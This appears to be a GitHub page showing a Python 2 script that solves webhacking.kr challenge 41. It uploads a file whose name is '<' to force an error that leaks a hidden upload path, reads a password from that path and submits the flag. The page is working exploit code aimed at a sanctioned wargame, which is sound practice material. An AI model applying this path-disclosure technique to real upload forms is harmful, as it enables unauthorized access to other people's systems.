-
Notifications
You must be signed in to change notification settings - Fork 0
/
Challenge41.py
85 lines (75 loc) · 2.1 KB
/
Challenge41.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#-*- coding: utf-8 -*-
import urllib
import urllib2
import requests
import CookieManager
print "[*] Get Hidden Path"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
challengeUrl = "http://webhacking.kr/challenge/web/web-19/"
uploadFile = {
"up": ("<", "bindon")
}
sessionCookie = {
"PHPSESSID": "a90f69bdc1cdceaf479ca1ebcd368d29"
}
httpConnection = None
try:
httpRequest = requests.post(challengeUrl, files=uploadFile, cookies=sessionCookie)
print httpRequest.text
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
print
print "[*] Upload File"
uploadFile = {
"up": ("bindon", "bindon")
}
sessionCookie = {
"PHPSESSID": "a90f69bdc1cdceaf479ca1ebcd368d29"
}
httpConnection = None
try:
httpRequest = requests.post(challengeUrl, files=uploadFile, cookies=sessionCookie)
print httpRequest.text
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
print
print "[*] Get Password"
challengeUrl = "http://webhacking.kr/challenge/web/web-19"
challengeUrl += "/dkanehdkftndjqtsmsdlfmadmlvhfejzzzzzzzzzkkkkkkkkggggggggg"
challengeUrl += "/bindon"
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
print "[!] Auth Flag"
challengeUrl = "http://webhacking.kr/index.php?mode=auth_go"
parameter = urllib.urlencode({
"answer": "06d911a7bfddfd06b24352749120edab"
});
httpRequest = urllib2.Request(challengeUrl, data=parameter)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: 'POST'
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()